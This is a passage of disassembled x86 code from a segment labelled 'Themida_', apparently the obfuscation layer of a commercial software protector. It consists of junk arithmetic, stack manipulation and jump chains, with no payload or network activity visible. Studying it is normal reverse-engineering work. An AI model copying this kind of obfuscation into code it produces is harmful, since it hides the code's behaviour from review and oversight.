loc_5A962F: ; CODE XREF: Themida_:005A0D83j
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], eax
jmp loc_5A3C3C
; ---------------------------------------------------------------------------
loc_5A9642: ; CODE XREF: Themida_:005A94E1j
add ecx, 96C5706Eh
sub edi, ecx
pop ecx
jmp loc_59A3B2
; ---------------------------------------------------------------------------
loc_5A9650: ; CODE XREF: Themida_:005AA4A9j
add esp, 4
jmp loc_59826E
; ---------------------------------------------------------------------------
loc_5A9658: ; CODE XREF: Themida_:005A1764j
add ecx, 27B93929h
or ecx, 5FF75398h
or ecx, 31D8479Eh
sub ecx, 0E3B5954Dh
add ebx, ecx
jmp loc_5A70F5
; ---------------------------------------------------------------------------
loc_5A9677: ; CODE XREF: Themida_:0059E8B3j
and esi, ebx
jmp loc_59CC9D
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push 49FCh
mov [esp], ebx
mov ebx, esp
jmp loc_5A0D88
; ---------------------------------------------------------------------------
loc_5A9693: ; CODE XREF: Themida_:005A2C2Ej
add ebx, 4
push 3299h
mov [esp], edi
push edx
mov edx, 3A650E01h
sub edx, 0C732E29Eh
push ecx
mov ecx, edx
push ecx
xor dword ptr [esp], 160C47F8h
pop edi
xor edi, 160C47F8h
pop ecx
jmp loc_5A5766
; ---------------------------------------------------------------------------
loc_5A96C5: ; CODE XREF: Themida_:005979AAj
pop eax
add edi, esi
jmp loc_59C8CC
; ---------------------------------------------------------------------------
loc_5A96CD: ; CODE XREF: Themida_:0059B9C1j
push esp
push dword ptr [esp]
jmp loc_5A6D1F
; ---------------------------------------------------------------------------
loc_5A96D6: ; CODE XREF: Themida_:005A7A42j
push edi
jmp loc_599E2F
; ---------------------------------------------------------------------------
loc_5A96DC: ; CODE XREF: Themida_:005A0DE2j
push 54A1131Fh
mov eax, [esp]
add esp, 4
sub esi, eax
mov eax, [esp]
jmp loc_5A8D37
; ---------------------------------------------------------------------------
loc_5A96F1: ; CODE XREF: Themida_:005A639Fj
push 384Eh
mov [esp], esi
jmp loc_5A69BF
; ---------------------------------------------------------------------------
loc_5A96FE: ; CODE XREF: Themida_:005A93CBj
mov esi, 69EF4253h
jmp loc_5A34B2
; ---------------------------------------------------------------------------
loc_5A9708: ; CODE XREF: Themida_:005A9496j
add esi, 2ABF73E6h
jmp loc_5A5F20
; ---------------------------------------------------------------------------
loc_5A9713: ; CODE XREF: Themida_:005A84DBj
add esp, 4
push ecx
jmp loc_59D6D8
; ---------------------------------------------------------------------------
loc_5A971C: ; CODE XREF: Themida_:0059D5ECj
shr ebp, 3
add ebp, 23067CEDh
sub edx, ebp
mov ebp, [esp]
add esp, 4
add ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_5AA794
; ---------------------------------------------------------------------------
loc_5A973D: ; CODE XREF: Themida_:0059CBDAj
push edi
push 4443h
jmp loc_5A8DC0
; ---------------------------------------------------------------------------
loc_5A9748: ; CODE XREF: Themida_:00597D3Dj
sub eax, 0DF2F20E0h
xor ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_59BF61
; ---------------------------------------------------------------------------
loc_5A975D: ; CODE XREF: Themida_:0059CEC9j
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A4C46
; ---------------------------------------------------------------------------
loc_5A976C: ; CODE XREF: Themida_:005A1FA6j
dec ecx
jmp loc_5967A8
; ---------------------------------------------------------------------------
loc_5A9772: ; CODE XREF: Themida_:0059CD06j
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5A41FA
; ---------------------------------------------------------------------------
loc_5A9786: ; CODE XREF: Themida_:005A31DEj
xchg ebx, [esp]
jmp loc_597953
; ---------------------------------------------------------------------------
loc_5A978E: ; CODE XREF: Themida_:005A286Aj
xchg eax, [esp]
jmp loc_5AABD1
; ---------------------------------------------------------------------------
loc_5A9796: ; CODE XREF: Themida_:005A44D1j
and ebx, 441E0F11h
add ebx, 0FAF528B5h
mov edi, ebx
pop ebx
push edx
mov edx, 1
sub edi, edx
pop edx
push ecx
mov ecx, 0C0FECD74h
sub edi, 47BB2B55h
jmp loc_5A9D96
; ---------------------------------------------------------------------------
loc_5A97BF: ; CODE XREF: Themida_:0059DA49j
push dword ptr [esp+4]
jmp loc_59DE12
; ---------------------------------------------------------------------------
loc_5A97C8: ; CODE XREF: Themida_:0059AC65j
push 1F86h
mov [esp], ecx
push 2
mov ecx, [esp]
add esp, 4
jmp loc_5A25F4
; ---------------------------------------------------------------------------
loc_5A97E3: ; CODE XREF: Themida_:005A9856j
sub esp, 4
mov [esp], edi
push 36F3h
mov [esp], esi
push dword ptr [esp]
jmp loc_5A568D
; ---------------------------------------------------------------------------
loc_5A97FC: ; CODE XREF: Themida_:0059F5E4j
xor edx, [esp]
xor [esp], edx
jmp loc_59806C
; ---------------------------------------------------------------------------
loc_5A9807: ; CODE XREF: Themida_:005A9E45j
mov [esp], ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
add ebx, eax
pop eax
jmp loc_5A6D70
; ---------------------------------------------------------------------------
loc_5A9820: ; CODE XREF: Themida_:005962D8j
sub esp, 4
mov [esp], eax
push 7390h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov eax, [esp]
jmp loc_598A22
; ---------------------------------------------------------------------------
loc_5A983E: ; CODE XREF: Themida_:0059F65Cj
mov esi, 65AF0D6Dh
jmp loc_59BFDE
; ---------------------------------------------------------------------------
loc_5A9848: ; CODE XREF: Themida_:00597B60j
sub esi, 66FF62F8h
jmp loc_5A5749
; ---------------------------------------------------------------------------
loc_5A9853: ; CODE XREF: Themida_:005AA41Cj
pop esi
not esi
jmp loc_5A97E3
; ---------------------------------------------------------------------------
loc_5A985B: ; CODE XREF: Themida_:005984C2j
add esi, 4C2D6921h
add esi, edi
jmp loc_5AB1A4
; ---------------------------------------------------------------------------
loc_5A9868: ; CODE XREF: Themida_:005A8C63j
push ebx
jmp loc_59A7D5
; ---------------------------------------------------------------------------
loc_5A986E: ; CODE XREF: Themida_:0059970Cj
pop esp
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A5085
; ---------------------------------------------------------------------------
loc_5A9888: ; CODE XREF: Themida_:005A6A04j
xor edx, ecx
pop ecx
sub ebx, 7F96954h
add ebx, edx
add ebx, 7F96954h
push dword ptr [esp]
pop edx
jmp loc_599838
; ---------------------------------------------------------------------------
loc_5A98A2: ; CODE XREF: Themida_:00599602j
xchg edx, [esp]
pop esp
mov [esp], esi
mov esi, 6D51363h
add eax, 46332652h
add eax, esi
push esi
mov esi, 1FD77053h
xor esi, 7A525A16h
push 0
sub [esp], esi
jmp loc_596421
; ---------------------------------------------------------------------------
loc_5A98CE: ; CODE XREF: Themida_:00597FDDj
xor edx, 2A176B93h
sub esi, edx
pop edx
push 779Fh
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A98F2: ; CODE XREF: Themida_:005A8AC3j
dec dh
sub dh, 4Dh
xor ch, dh
pop edx
xor dh, ch
jmp loc_59EAFF
; ---------------------------------------------------------------------------
loc_5A9901: ; CODE XREF: Themida_:005A3B13j
sub bx, 333Dh
xor ax, bx
pop ebx
mov bp, ax
jmp loc_5974AE
; ---------------------------------------------------------------------------
loc_5A9912: ; CODE XREF: Themida_:00597B7Dj
push 1903h
jmp loc_59F0E8
; ---------------------------------------------------------------------------
loc_5A991C: ; CODE XREF: Themida_:005A6234j
add ecx, ebp
pop ebp
sub eax, ecx
jmp loc_59BF0A
; ---------------------------------------------------------------------------
loc_5A9926: ; CODE XREF: Themida_:0059673Bj
mov [esp], esi
push esp
pop esi
sub esp, 4
mov [esp], ebp
push edi
mov edi, 60C8691Ch
mov ebp, 9F3796E8h
add ebp, edi
pop edi
add esi, ebp
pop ebp
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
shr ecx, 7
sub esp, 4
mov [esp], ebp
jmp loc_5A8FBC
; ---------------------------------------------------------------------------
loc_5A9963: ; CODE XREF: Themida_:0059BA1Cj
push 783Dh
mov [esp], edx
push 19A9h
jmp loc_5962FA
; ---------------------------------------------------------------------------
loc_5A9975: ; CODE XREF: Themida_:005A5ABBj
push ecx
mov ecx, 4ABE0B54h
sub ecx, 2DF36962h
sub ecx, 0C9B1694Bh
xor eax, ecx
pop ecx
mov ecx, eax
pop eax
mov edi, 220017D5h
xor edi, ecx
pop ecx
xor edi, 553F0346h
sub ebx, edi
mov edi, [esp]
push edi
push esp
pop edi
add edi, 4
push ebp
push edx
push 22807721h
pop edx
jmp loc_59B347
; ---------------------------------------------------------------------------
loc_5A99B6: ; CODE XREF: Themida_:005A5151j
neg esi
jmp loc_5A61C2
; ---------------------------------------------------------------------------
loc_5A99BD: ; CODE XREF: Themida_:0059F0BCj
mov ch, al
pop eax
mov dl, al
jmp loc_59E783
; ---------------------------------------------------------------------------
loc_5A99C7: ; CODE XREF: Themida_:00597352j
xor edi, eax
xor eax, edi
push edi
jmp loc_59E321
; ---------------------------------------------------------------------------
loc_5A99D1: ; CODE XREF: Themida_:0059FFC6j
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
shr eax, 18h
jmp loc_59AB6F
; ---------------------------------------------------------------------------
loc_5A99F7: ; CODE XREF: Themida_:005A16F3j
and ebx, edx
pop edx
jmp loc_596EF4
; ---------------------------------------------------------------------------
loc_5A99FF: ; CODE XREF: Themida_:005AA68Bj
mov edi, esp
push edx
mov edx, 4
push edx
jmp loc_5A1BCF
; ---------------------------------------------------------------------------
loc_5A9A0D: ; CODE XREF: Themida_:005A237Aj
push edx
mov edx, 24953BAEh
add edi, edx
pop edx
jmp loc_5965BB
; ---------------------------------------------------------------------------
loc_5A9A1B: ; CODE XREF: Themida_:0059B366j
or edi, ebx
pop ebx
shr edi, 3
push edx
push eax
jmp loc_5A5A18
; ---------------------------------------------------------------------------
loc_5A9A28: ; CODE XREF: Themida_:005AB44Cj
push edx
mov dl, 0DEh
jmp loc_597E9B
; ---------------------------------------------------------------------------
loc_5A9A30: ; CODE XREF: Themida_:005A7CFFj
pop edx
add esp, 4
jmp loc_5AA32A
; ---------------------------------------------------------------------------
loc_5A9A3C: ; CODE XREF: Themida_:005A9379j
mov ebp, 77D840B4h
push edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], eax
mov eax, 701051Ah
not eax
push ecx
mov ecx, 62A47C9h
inc ecx
shl ecx, 1
dec ecx
shl ecx, 2
and ecx, 513B176Ch
xor ecx, 0B001ABEh
add eax, ecx
pop ecx
inc eax
add eax, 2B944F8h
jmp loc_5A54F5
; ---------------------------------------------------------------------------
loc_5A9A81: ; CODE XREF: Themida_:005A364Fj
pop edx
sub ecx, 11C20923h
sub ecx, 7FCB5C4Dh
add ecx, edi
sub esp, 4
jmp loc_59F8AB
; ---------------------------------------------------------------------------
loc_5A9A9B: ; CODE XREF: Themida_:00597880j
push ebp
jmp loc_59888E
; ---------------------------------------------------------------------------
loc_5A9AA1: ; CODE XREF: Themida_:0059E219j
dec esi
add esi, 4962945h
jmp loc_5A3C01
; ---------------------------------------------------------------------------
loc_5A9AAD: ; CODE XREF: Themida_:0059F19Bj
mov eax, [esp]
push ebx
jmp loc_5A276C
; ---------------------------------------------------------------------------
loc_5A9AB6: ; CODE XREF: Themida_:0059A882j
not esi
push edx
mov edx, 5E8C7BBDh
shl edx, 1
jmp loc_5AA8ED
; ---------------------------------------------------------------------------
loc_5A9AC5: ; CODE XREF: Themida_:005A248Bj
or edx, 289D20B1h
xor edx, 0F153AE34h
add eax, edx
jmp loc_59C807
; ---------------------------------------------------------------------------
loc_5A9AD8: ; CODE XREF: Themida_:005A50A9j
add edx, edi
pop edi
and edx, 0A6D1D79h
not edx
shr edx, 8
not edx
or edx, 61034A49h
sub edx, 0FF0B6E4Bh
jmp loc_5A4940
; ---------------------------------------------------------------------------
loc_5A9AF9: ; CODE XREF: Themida_:005A882Dj
mov esi, 20CF7D91h
xor esi, 78370008h
jmp loc_5A2B3A
; ---------------------------------------------------------------------------
loc_5A9B09: ; CODE XREF: Themida_:00596BB7j
mov esi, 27273C54h
mov ecx, 7D7D56E0h
sub ecx, esi
jmp loc_59BFE6
; ---------------------------------------------------------------------------
loc_5A9B1A: ; CODE XREF: Themida_:005A17EAj
mov ecx, [esp]
jmp loc_59910C
; ---------------------------------------------------------------------------
loc_5A9B22: ; CODE XREF: Themida_:00598C4Fj
push ebp
jmp loc_59E161
; ---------------------------------------------------------------------------
loc_5A9B28: ; CODE XREF: Themida_:0059B6A7j
mov edi, 1F4A5148h
shl edi, 2
add edi, 0BA6B0B59h
jmp loc_599FE9
; ---------------------------------------------------------------------------
loc_5A9B3B: ; CODE XREF: Themida_:005A11A3j
sub ecx, 964EA53Bh
xor esi, ecx
pop ecx
mov edi, esi
pop esi
shr edi, 3
jmp loc_59E02C
; ---------------------------------------------------------------------------
loc_5A9B4F: ; CODE XREF: Themida_:005AA3F2j
inc edx
sub edx, 55191E3Ah
jmp loc_59C89F
; ---------------------------------------------------------------------------
loc_5A9B5B: ; CODE XREF: Themida_:005A2334j
dec ebx
jmp loc_59D951
; ---------------------------------------------------------------------------
loc_5A9B61: ; CODE XREF: Themida_:005A9FF1j
push ebx
jmp loc_5A30E2
; ---------------------------------------------------------------------------
loc_5A9B67: ; CODE XREF: Themida_:005A86EAj
mov edx, [esp]
add esp, 4
xor edx, 491848ECh
sub esp, 4
jmp loc_59CE70
; ---------------------------------------------------------------------------
loc_5A9B7B: ; CODE XREF: Themida_:005AB43Aj
pop edi
jmp loc_59AF1C
; ---------------------------------------------------------------------------
loc_5A9B81: ; CODE XREF: Themida_:005A425Fj
mov ecx, 551A09B0h
shl ecx, 5
neg ecx
sub ecx, 0CD5C328h
mov edx, ecx
pop ecx
add esi, edx
jmp loc_5AA66A
; ---------------------------------------------------------------------------
mov cx, [esp]
push 5F67h
jmp loc_599433
; ---------------------------------------------------------------------------
loc_5A9BA9: ; CODE XREF: Themida_:005A873Ej
pop esp
xchg ebp, esi
push 0
sub [esp], esi
pop esi
xor esi, 36C51F68h
push edx
mov edx, 565A227Ah
sub edx, 3C1FFE08h
jmp loc_5A649A
; ---------------------------------------------------------------------------
loc_5A9BCC: ; CODE XREF: Themida_:005A081Cj
push 56C8h
mov [esp], esi
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
sub esp, 4
mov [esp], ecx
mov ecx, 11330A9Eh
mov ebp, ecx
mov ecx, [esp]
jmp loc_5A8F49
; ---------------------------------------------------------------------------
loc_5A9BFF: ; CODE XREF: Themida_:005A4922j
shr ecx, 8
inc ecx
add ecx, 2A1B6463h
not ecx
jmp loc_5AAA71
; ---------------------------------------------------------------------------
loc_5A9C10: ; CODE XREF: Themida_:005960A2j
mov [esp], ebx
jmp loc_596F0C
; ---------------------------------------------------------------------------
loc_5A9C18: ; CODE XREF: Themida_:0059BA2Ej
dec cl
push eax
jmp loc_5A7D6F
; ---------------------------------------------------------------------------
loc_5A9C20: ; CODE XREF: Themida_:0059F63Ej
add ebx, edi
jmp loc_5A090C
; ---------------------------------------------------------------------------
loc_5A9C27: ; CODE XREF: Themida_:00597B50j
pop edx
add bl, 2Ch
push dx
mov dl, 9Ch
add bl, dl
pop dx
jmp loc_596C8E
; ---------------------------------------------------------------------------
loc_5A9C38: ; CODE XREF: Themida_:00599A78j
add ecx, esi
jmp loc_59D993
; ---------------------------------------------------------------------------
loc_5A9C3F: ; CODE XREF: Themida_:00599F04j
add esp, 4
jmp loc_59EB5B
; ---------------------------------------------------------------------------
loc_5A9C47: ; CODE XREF: Themida_:005A09C9j
sub ecx, edx
jmp loc_5A6639
; ---------------------------------------------------------------------------
loc_5A9C4E: ; CODE XREF: Themida_:0059CDEAj
sub esp, 4
mov [esp], ecx
jmp loc_5A58F9
; ---------------------------------------------------------------------------
loc_5A9C5C: ; CODE XREF: Themida_:005A291Fj
sub edx, ecx
pop ecx
jmp loc_598E76
; ---------------------------------------------------------------------------
loc_5A9C64: ; CODE XREF: Themida_:0059BCAAj
shl ah, 8
shl ah, 3
and ah, 73h
add ah, 0FFh
sub dl, ah
pop eax
dec dl
push dx
not byte ptr [esp]
pop dx
push 6CBEh
mov [esp], ecx
mov ch, 77h
sub esp, 2
jmp loc_5A7E34
; ---------------------------------------------------------------------------
loc_5A9C8E: ; CODE XREF: Themida_:0059B6E1j
pop eax
add ecx, edx
pop edx
sub ecx, ebx
jmp loc_5A747A
; ---------------------------------------------------------------------------
loc_5A9C99: ; CODE XREF: Themida_:005A482Ej
pop eax
push ebp
jmp loc_597D61
; ---------------------------------------------------------------------------
loc_5A9CA0: ; CODE XREF: Themida_:005A1358j
xor eax, ebp
push dword ptr [esp]
pop ebp
push edx
push esp
pop edx
push 29Fh
jmp loc_5A4DE8
; ---------------------------------------------------------------------------
loc_5A9CB3: ; CODE XREF: Themida_:005AB2DBj
sub esp, 4
mov [esp], edx
push ecx
mov ecx, edi
push ecx
mov edx, [esp]
add esp, 4
pop ecx
mov ebp, edx
mov edx, [esp]
jmp loc_5AA642
; ---------------------------------------------------------------------------
loc_5A9CD1: ; CODE XREF: Themida_:005A01D3j
sub esi, ebp
mov ebp, [esp]
add esp, 4
push ebp
mov ebp, 163F1161h
xor esi, ebp
mov ebp, [esp]
add esp, 4
sub ebp, esi
jmp loc_59A520
; ---------------------------------------------------------------------------
loc_5A9CEE: ; CODE XREF: Themida_:005A4DE3j
mov ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5994DA
; ---------------------------------------------------------------------------
loc_5A9CFE: ; CODE XREF: Themida_:0059E8A3j
pop dword ptr [esp]
jmp loc_59F230
; ---------------------------------------------------------------------------
loc_5A9D06: ; CODE XREF: Themida_:00596D51j
pop eax
sub esp, 4
jmp loc_597BFD
; ---------------------------------------------------------------------------
loc_5A9D0F: ; CODE XREF: Themida_:0059E90Aj
pop eax
jmp loc_5A5A3A
; ---------------------------------------------------------------------------
loc_5A9D15: ; CODE XREF: Themida_:005A5AA5j
shr eax, 8
and eax, 26246CDAh
jmp loc_5A9FC1
; ---------------------------------------------------------------------------
loc_5A9D22: ; CODE XREF: Themida_:0059DBD8j
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_5A5CAC
; ---------------------------------------------------------------------------
loc_5A9D2E: ; CODE XREF: Themida_:005A0C78j
push ecx
mov ecx, 452E6D49h
xor ecx, 452E6D4Dh
mov ebp, ecx
pop ecx
sub edx, ebp
pop ebp
xchg edx, [esp]
jmp loc_59FF8E
; ---------------------------------------------------------------------------
loc_5A9D48: ; CODE XREF: Themida_:005A7B99j
push edx
mov edx, 7C5120CBh
add edx, 322A06F4h
or edx, 32A21A5Ch
and edx, 21FE3BEDh
neg edx
neg edx
sub edx, 39FD9AFh
add esi, edx
pop edx
add esi, edx
sub esi, 1D5A623Eh
jmp loc_5A1087
; ---------------------------------------------------------------------------
loc_5A9D7A: ; CODE XREF: Themida_:00598BD7j
mov ebx, esp
jmp loc_59F019
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_5A0663
; ---------------------------------------------------------------------------
loc_5A9D8E: ; CODE XREF: Themida_:0059EC06j
mov ebp, [esp]
jmp loc_5A2061
; ---------------------------------------------------------------------------
loc_5A9D96: ; CODE XREF: Themida_:005A97BAj
add edi, ecx
push ebp
jmp loc_598FC2
; ---------------------------------------------------------------------------
loc_5A9D9E: ; CODE XREF: Themida_:0059777Aj
mov edi, 4
add ebx, edi
pop edi
xchg ebx, [esp]
mov esp, [esp]
push 6BC4h
jmp loc_59BE2B
; ---------------------------------------------------------------------------
loc_5A9DB6: ; CODE XREF: Themida_:00599A42j
add ecx, 5F2A19DFh
jmp loc_59A1AB
; ---------------------------------------------------------------------------
loc_5A9DC1: ; CODE XREF: Themida_:0059E9BFj
sub esi, edi
pop edi
add esi, ecx
add esi, 54204ED9h
mov ecx, [esp]
jmp loc_5A2152
; ---------------------------------------------------------------------------
loc_5A9DD4: ; CODE XREF: Themida_:0059F05Ej
dec edx
jmp loc_59DCE0
; ---------------------------------------------------------------------------
loc_5A9DDA: ; CODE XREF: Themida_:005A7A5Bj
sub al, ch
mov ecx, [esp]
add esp, 4
push ebx
jmp loc_5972ED
; ---------------------------------------------------------------------------
loc_5A9DEB: ; CODE XREF: Themida_:0059FFFEj
push esi
mov esi, 6E3C2755h
push ebx
mov ebx, 249E44B6h
add esi, 11BF3928h
sub esi, ebx
push edx
mov edx, 6DA2097Dh
sub edx, 1
neg edx
add edx, 7F6142A4h
sub esi, 5C645392h
sub esi, edx
add esi, 5C645392h
pop edx
pop ebx
shr esi, 1
shr esi, 6
push 1D78h
mov [esp], esi
not dword ptr [esp]
jmp loc_5A2CA1
; ---------------------------------------------------------------------------
loc_5A9E35: ; CODE XREF: Themida_:00596FBFj
add esp, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_5A9807
; ---------------------------------------------------------------------------
loc_5A9E4A: ; CODE XREF: Themida_:0059D5D7j
mov ebx, ecx
jmp loc_5AAD1B
; ---------------------------------------------------------------------------
loc_5A9E51: ; CODE XREF: Themida_:005A0745j
dec ebp
xor ebp, 23895A8Fh
mov eax, ebp
pop ebp
xor eax, 61DE3FFEh
and edi, eax
jmp loc_59DD34
; ---------------------------------------------------------------------------
loc_5A9E67: ; CODE XREF: Themida_:0059A39Aj
push dword ptr [esp+4]
pop esi
jmp loc_598EA9
; ---------------------------------------------------------------------------
loc_5A9E71: ; CODE XREF: Themida_:0059BCA3j
pop eax
push ecx
mov ecx, esp
jmp loc_59F281
; ---------------------------------------------------------------------------
loc_5A9E7A: ; CODE XREF: Themida_:005A379Dj
push 71FAh
mov [esp], esi
pop ebx
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push 7605h
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push edx
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
push 5169h
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_5A88F3
; ---------------------------------------------------------------------------
loc_5A9EDA: ; CODE XREF: Themida_:0059DDA5j
push ecx
jmp loc_5A8981
; ---------------------------------------------------------------------------
loc_5A9EE0: ; CODE XREF: Themida_:00598A3Bj
mov ebp, 1BE62F64h
jmp loc_5A1863
; ---------------------------------------------------------------------------
loc_5A9EEA: ; CODE XREF: Themida_:0059A28Cj
add edi, ebp
pop ebp
jmp loc_5A34E1
; ---------------------------------------------------------------------------
loc_5A9EF2: ; CODE XREF: Themida_:005990ABj
sub esp, 4
mov [esp], ebx
push 44D95532h
jmp loc_59BBF2
; ---------------------------------------------------------------------------
loc_5A9F05: ; CODE XREF: Themida_:005A4B0Cj
push esi
mov esi, 103C4780h
jmp loc_5A478C
; ---------------------------------------------------------------------------
loc_5A9F10: ; CODE XREF: Themida_:0059E112j
pop eax
pop edi
add edi, esi
pop esi
add edi, 2
push 3315h
mov [esp], edi
jmp loc_598B0D
; ---------------------------------------------------------------------------
loc_5A9F28: ; CODE XREF: Themida_:005A157Fj
push edi
mov edi, 1D5410A0h
xor edi, 41BD325Ch
xor edi, 630A0D40h
xor edi, 5EE70737h
jmp loc_597E5B
; ---------------------------------------------------------------------------
loc_5A9F45: ; CODE XREF: Themida_:0059D4D1j
not ebx
inc ebx
xchg ebx, [esp]
pop ecx
shl ecx, 5
sub ecx, 0C8844DFCh
add ebx, 0A25156h
sub ebx, ecx
sub ebx, 0A25156h
pop ecx
jmp loc_5A8440
; ---------------------------------------------------------------------------
loc_5A9F69: ; CODE XREF: Themida_:005A066Fj
add dword ptr [esp], 956162Dh
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
sub ebp, 956162Dh
sub esp, 4
mov [esp], eax
mov eax, esp
push ebx
jmp loc_59D9AF
; ---------------------------------------------------------------------------
loc_5A9F98: ; CODE XREF: Themida_:0059DCF9j
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
xchg edx, [esp]
jmp loc_5A6B17
; ---------------------------------------------------------------------------
loc_5A9FA9: ; CODE XREF: Themida_:005A3C2Fj
mov ebx, 7C87B612h
xor ebp, ebx
pop ebx
add esi, ebp
pop ebp
jmp loc_5AA3DF
; ---------------------------------------------------------------------------
loc_5A9FB9: ; CODE XREF: Themida_:005A6ECCj
mov [esp], ebx
jmp loc_59AEFF
; ---------------------------------------------------------------------------
loc_5A9FC1: ; CODE XREF: Themida_:005A9D1Dj
sub eax, 46046h
mov ebx, eax
jmp loc_598245
; ---------------------------------------------------------------------------
loc_5A9FCD: ; CODE XREF: Themida_:005A29D0j
mov ecx, 2BC50E6Ch
neg ecx
sub ecx, 1
shr ecx, 6
shr ecx, 6
jmp loc_59B6AC
; ---------------------------------------------------------------------------
loc_5A9FE5: ; CODE XREF: Themida_:005A0B1Aj
xor eax, 514F52C7h
sub eax, 36BC5AF2h
dec eax
inc eax
jmp loc_5A9B61
; ---------------------------------------------------------------------------
loc_5A9FF6: ; CODE XREF: Themida_:00599CFEj
pop ecx
push eax
mov eax, 4
add esi, 1B78105Bh
add esi, 73025945h
jmp loc_5A316B
; ---------------------------------------------------------------------------
loc_5AA00E: ; CODE XREF: Themida_:005A4C1Dj
sub bh, ch
pop ecx
sub bh, al
add bh, 0CAh
pop ax
mov dl, bh
mov ebx, [esp]
jmp loc_5988AE
; ---------------------------------------------------------------------------
loc_5AA022: ; CODE XREF: Themida_:005A41C5j
add esp, 4
jmp loc_5A7C26
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebx
jmp loc_5A37D5
; ---------------------------------------------------------------------------
loc_5AA037: ; CODE XREF: Themida_:005A3305j
mov edi, 4
jmp loc_59EC9C
; ---------------------------------------------------------------------------
loc_5AA041: ; CODE XREF: Themida_:0059EC0Ej
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
jmp loc_59892A
; ---------------------------------------------------------------------------
loc_5AA062: ; CODE XREF: Themida_:005A5DE0j
pop ebx
pop esi
push ecx
push ebx
mov ebx, 65096AB8h
sub ebx, 0B9728B1h
inc ebx
jmp loc_5A180C
; ---------------------------------------------------------------------------
loc_5AA077: ; CODE XREF: Themida_:005A7A6Ej
add ebp, eax
push esi
mov esi, 5372471h
not esi
shr esi, 7
sub esi, 0E54418A7h
sub ebp, esi
pop esi
jmp loc_5A6298
; ---------------------------------------------------------------------------
loc_5AA092: ; CODE XREF: Themida_:005A1CF7j
sub ebp, 29AC6D4Ch
and eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
or eax, eax
jnz loc_59AF0C
mov edx, 0E9A665Bh
jmp loc_5AA124
; ---------------------------------------------------------------------------
loc_5AA0B6: ; CODE XREF: Themida_:005A4A30j
add ebp, ebx
pop ebx
jmp loc_5AA673
; ---------------------------------------------------------------------------
loc_5AA0BE: ; CODE XREF: Themida_:0059BBE1j
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push 20B9h
mov [esp], edx
jmp loc_5AAA65
; ---------------------------------------------------------------------------
loc_5AA0D2: ; CODE XREF: Themida_:005A932Ej
mov edx, 2DE62967h
jmp loc_59EF68
; ---------------------------------------------------------------------------
loc_5AA0DC: ; CODE XREF: Themida_:0059A040j
xchg ebp, edi
jmp loc_59CF55
; ---------------------------------------------------------------------------
loc_5AA0E3: ; CODE XREF: Themida_:0059F693j
mov edi, 4
jmp loc_596F40
; ---------------------------------------------------------------------------
loc_5AA0ED: ; CODE XREF: Themida_:0059E79Fj
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_5A5587
; ---------------------------------------------------------------------------
loc_5AA0FA: ; CODE XREF: Themida_:005A0825j
mov ebp, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_5A7D2C
; ---------------------------------------------------------------------------
loc_5AA10D: ; CODE XREF: Themida_:0059D45Cj
add edx, 4
push esi
mov esi, 4
sub edx, esi
pop esi
xchg edx, [esp]
jmp loc_5991F1
; ---------------------------------------------------------------------------
loc_5AA124: ; CODE XREF: Themida_:005AA0B1j
shr edx, 8
sub esp, 4
mov [esp], ecx
mov ecx, esp
push 28D1h
mov [esp], esi
mov esi, 2C174A6Ch
neg esi
push ecx
mov ecx, 6FAD1E55h
sub esi, ecx
pop ecx
dec esi
and esi, 5B4A1CCAh
inc esi
push ebx
mov ebx, 4C7C07E1h
jmp loc_5AA359
; ---------------------------------------------------------------------------
loc_5AA15A: ; CODE XREF: Themida_:0059C111j
add al, 84h
push edx
mov dh, 0B0h
xor dh, 93h
push ebx
mov bl, 87h
and bl, 0Fh
jmp loc_5A86DA
; ---------------------------------------------------------------------------
loc_5AA16D: ; CODE XREF: Themida_:00596B8Fj
pop esp
add esi, edx
jmp loc_5A1C02
; ---------------------------------------------------------------------------
loc_5AA175: ; CODE XREF: Themida_:0059EA30j
mov esp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5AA17D: ; CODE XREF: Themida_:005A34ADj
mov cl, 0
jmp loc_5A7CE0
; ---------------------------------------------------------------------------
loc_5AA184: ; CODE XREF: Themida_:0059A85Ej
push dword ptr [esp]
pop edx
add esp, 4
or eax, eax
jz loc_599990
